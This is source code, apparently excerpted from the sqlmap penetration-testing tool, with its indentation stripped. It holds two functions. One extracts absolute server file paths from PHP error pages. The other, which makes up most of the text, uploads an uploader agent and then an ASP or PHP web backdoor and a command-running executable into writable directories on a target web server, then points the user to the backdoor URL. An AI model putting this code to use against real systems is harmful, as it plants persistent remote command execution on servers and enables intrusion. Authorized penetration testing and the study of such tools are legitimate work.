def parseResponse(page, headers):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
"""
if headers:
headersParser(headers)
if page:
htmlParser(page)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line", r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)" )
for absFilePathRegExp in absFilePathsRegExp:
reobj = re.compile(absFilePathRegExp)
for match in reobj.finditer(page):
absFilePath = match.group("result").strip()
page = page.replace(absFilePath, "")
if isWindowsPath(absFilePath):
absFilePath = posixToNtSlashes(absFilePath)
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
message = "which web application language does the web server "
message += "support?\n"
message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "")
message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)")
message += "[3] JSP"
while True:
choice = readInput(message, default="1" if kb.os == "Windows" else "2")
if not choice or choice == "2":
self.webApi = "php"
break
elif choice == "1":
self.webApi = "asp"
break
elif choice == "3":
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
raise sqlmapUnsupportedDBMSException(errMsg)
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 3:
logger.warn("invalid value, it must be 1 or 3")
kb.docRoot = getDocRoot(self.webApi)
directories = getDirs(self.webApi)
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName
)
originalBackdoorContent = backdoorContent = backdoorStream.read()
uploaderName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi))
for directory in directories:
# Upload the uploader agent
self.__webFileInject(uploaderContent, uploaderName, directory)
requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/")
if isWindowsPath(requestDir):
requestDir = requestDir[2:]
requestDir = normalizePath(requestDir)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
self.webUploaderUrl = "%s/%s" % (self.webBaseUrl.rstrip("/"), uploaderName)
self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/"))
uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (directory, self.webUploaderUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, "runcmd.exe_"), runcmdName
)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace(
"RUNCMD_EXE", runcmdName
)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip("/"), backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(
backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory
):
warnMsg = "backdoor hasn't been successfully uploaded "
warnMsg += "with uploader probably because of permission "
warnMsg += "issues."
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for uploader? [y/N] "
getOutput = readInput(message, default="N")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = directory
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
break
